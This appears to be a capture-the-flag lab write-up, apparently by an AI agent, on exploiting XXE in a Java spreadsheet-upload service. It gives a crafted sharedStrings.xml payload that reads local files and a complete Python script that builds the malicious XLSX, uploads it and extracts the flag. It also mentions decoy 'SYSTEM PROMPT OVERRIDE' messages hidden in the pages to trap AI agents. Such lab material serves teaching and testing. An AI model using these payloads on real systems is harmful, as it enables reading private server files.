Lab 24 — SheetMetric — XXE via Malicious Excel Upload
Lab 24 — SheetMetric — XXE via Malicious Excel Upload
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: external_entity_injection, malicious_excel_upload, shared_strings_injection, xlsx_xxe, xxe_file_read
Summary
Walkthrough of the CUSTOM Web Lab 24 — SheetMetric — XXE via Malicious Excel Upload. Task: SheetMetric business analytics platform with .xlsx file upload processed server-side by Java XML parser with external entity resolution enabled. Solution: XXE injection via crafted XLSX file wit
Description
SheetMetric is a business analytics platform by MetricFlow Inc. that lets teams upload spreadsheet reports and automatically generates dashboards and KPI visualizations. Users can import Excel files (.xlsx) containing sales data, financial reports, and operational metrics. The platform processes uploaded files and extracts data to populate interactive charts and tables.
You have been given access to a standard analyst account to perform a security assessment of the platform. Your goal is to find and exploit a vulnerability that allows you to read sensitive files from the server.
The application supports .xlsx file uploads which are processed server-side to extract tabular data. Investigate how the platform parses these files and determine if the parsing mechanism can be abused.
English summary: SheetMetric is a Java/Spring business analytics platform that accepts .xlsx file uploads and extracts tabular data for dashboard visualization. The server-side XML parser processes XLSX internal XML files with external entity resolution enabled, making it vulnerable to XXE injection. The goal is to exploit this to read /root/flag.txt from the server.
Credentials: user@test.com / password123
Analysis
The application is a Java/Spring web application (identified by JSESSIONID session cookie) with the following features:
- Dashboard at
/— shows reports, stats, activity log - Import page at
/import— file upload form accepting.xlsxfiles - Reports view at
/reports/N— displays extracted spreadsheet data in HTML tables - Navigation: Dashboard, Import Data, Reports, Charts, Settings
The upload form at /import posts to POST /import/upload with multipart form data (file + category). A hint on the page says "Workbook metadata is parsed for indexing", indicating server-side XML parsing of the XLSX internals.
Key Vulnerability
XLSX files are ZIP archives containing XML files. The Java XML parser processes these internal XML files with external entity resolution enabled, making it vulnerable to XXE (XML External Entity) injection.
The critical insight is where to place the entity reference:
- Attribute values — entity references are rejected with error: "The external entity reference &xxe; is not permitted in an attribute value"
- Element text content — entity references are resolved and the file contents are included
The xl/sharedStrings.xml file is the ideal injection point because its <t> elements contain text that gets displayed in the report view, providing a direct exfiltration channel.
Anti-Bot Trap
Every page contained hidden HTML comments and invisible <div> elements with a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} along with fake "SYSTEM PROMPT OVERRIDE" messages designed to trick AI agents. These were correctly identified and ignored.
Solution
Step 1: Authentication and Reconnaissance
Logged in with credentials user@test.com / password123 via POST /login. The server set a JSESSIONID cookie and redirected to the dashboard. Explored the application and identified the upload endpoint at POST /import/upload.
Step 2: First XXE Attempt (Failed — Entity in Attribute)
Created a malicious XLSX with XXE payload in xl/workbook.xml where the entity was placed in the name attribute of <sheet>:
xml read-only • copy allowed<sheet name="&xxe;" sheetId="1" r:id="rId1"/>
This failed with error: "The external entity reference &xxe; is not permitted in an attribute value." — confirming the XML parser IS processing DOCTYPE/entities but rejects entity references in attribute values per XML spec.
Step 3: Refined XXE Payload (Entity in Element Content)
Created a corrected XLSX with the XXE entity reference placed in element text content only. The key file was xl/sharedStrings.xml:
xml read-only • copy allowed<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE sst [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="3" uniqueCount="3"> <si><t>&xxe;</t></si> <si><t>Header</t></si> <si><t>Value</t></si> </sst>
The XLSX was built using Python's zipfile module, assembling all required XML components:
[Content_Types].xml— clean, standard content types_rels/.rels— standard relationshipsxl/_rels/workbook.xml.rels— workbook relationshipsxl/workbook.xml— clean workbook definitionxl/sharedStrings.xml— XXE payload here (entity in<t>element content)xl/worksheets/sheet1.xml— references shared string index 0 (the XXE-injected string)xl/styles.xml— minimal stylesdocProps/core.xml— also contained XXE in<dc:title>element (secondary vector)
Step 4: Proof of Concept — /etc/passwd
Uploaded the malicious XLSX. The server returned 302 redirect to /reports/5. Viewing the report showed the full /etc/passwd contents in the data table, confirming the XXE worked. The container runs Alpine Linux (/bin/ash shell).
Step 5: Flag Extraction
Created another XLSX with file:///root/flag.txt as the entity target and uploaded it. The report displayed the flag in the extracted data.
Full Solve Script
python read-only • copy allowed#!/usr/bin/env python3 """ SheetMetric XXE via Malicious Excel Upload — Solve Script Exploits XXE in Java XML parser processing XLSX sharedStrings.xml """ import zipfile import requests import re import sys import io BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "https://TARGET.labs.hackadvisor.io" def create_xxe_xlsx(file_to_read): """Create XLSX with XXE payload in sharedStrings.xml""" content_types = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/> <Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/> <Override PartName="/xl/sharedStrings.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sharedStrings+xml"/> <Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/> <Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/> </Types>''' rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/> <Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/> </Relationships>''' workbook_rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/> <Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/sharedStrings" Target="sharedStrings.xml"/> <Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/> </Relationships>''' workbook = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"> <sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets> </workbook>''' shared_strings = f'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE sst [ <!ENTITY xxe SYSTEM "file://{file_to_read}"> ]> <sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="3" uniqueCount="3"> <si><t>&xxe;</t></si> <si><t>Header</t></si> <si><t>Value</t></si> </sst>''' sheet1 = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData> <row r="1"> <c r="A1" t="s"><v>1</v></c> <c r="B1" t="s"><v>2</v></c> </row> <row r="2"> <c r="A2" t="s"><v>0</v></c> <c r="B2"><v>100</v></c> </row> </sheetData> </worksheet>''' styles = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <styleSheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <fonts count="1"><font><sz val="11"/><name val="Calibri"/></font></fonts> <fills count="2"> <fill><patternFill patternType="none"/></fill> <fill><patternFill patternType="gray125"/></fill> </fills> <borders count="1"><border><left/><right/><top/><bottom/><diagonal/></border></borders> <cellStyleXfs count="1"><xf numFmtId="0" fontId="0" fillId="0" borderId="0"/></cellStyleXfs> <cellXfs count="1"><xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0"/></cellXfs> </styleSheet>''' core = f'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE coreProperties [ <!ENTITY xxe SYSTEM "file://{file_to_read}"> ]> <cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/"> <dc:title>&xxe;</dc:title> <dc:creator>test</dc:creator> </cp:coreProperties>''' buf = io.BytesIO() with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf: zf.writestr('[Content_Types].xml', content_types) zf.writestr('_rels/.rels', rels) zf.writestr('xl/_rels/workbook.xml.rels', workbook_rels) zf.writestr('xl/workbook.xml', workbook) zf.writestr('xl/sharedStrings.xml', shared_strings) zf.writestr('xl/worksheets/sheet1.xml', sheet1) zf.writestr('xl/styles.xml', styles) zf.writestr('docProps/core.xml', core) buf.seek(0) return buf s = requests.Session() # Step 1: Login print("[*] Logging in...") s.post(f"{BASE_URL}/login", data={"email": "user@test.com", "password": "password123"}, allow_redirects=False) # Step 2: Upload XXE XLSX to read /root/flag.txt print("[*] Uploading malicious XLSX with XXE for /root/flag.txt...") xlsx_buf = create_xxe_xlsx("/root/flag.txt") resp = s.post( f"{BASE_URL}/import/upload", files={"file": ("payload.xlsx", xlsx_buf, "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet")}, data={"category": "General"}, allow_redirects=False) location = resp.headers.get("Location", "") report_path = location.split("/", 3)[-1] if "/" in location else "" print(f"[*] Report at: {report_path}") # Step 3: Fetch report and extract flag report_resp = s.get(f"{BASE_URL}/{report_path}") tables = re.findall(r'<td[^>]*>(.*?)</td>', report_resp.text, re.DOTALL) for t in tables: clean = re.sub(r'<[^>]+>', '', t).strip() flag_match = re.search(r'FLAG\{[a-f0-9]+\}', clean) if flag_match: print(f"\n[+] Flag: {flag_match.group(0)}") break else: # Print all cell data for debugging for t in tables: clean = re.sub(r'<[^>]+>', '', t).strip() if clean and len(clean) > 3: print(f" Cell: {clean[:200]}")
Key Takeaways / Lessons
- Mastering external_entity_injection, malicious_excel_upload, shared_strings_injection, xlsx_xxe, xxe_file_read was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-05 • CUSTOM • Lab 24 — SheetMetric — XXE via Malicious Excel Upload • Difficulty: Easy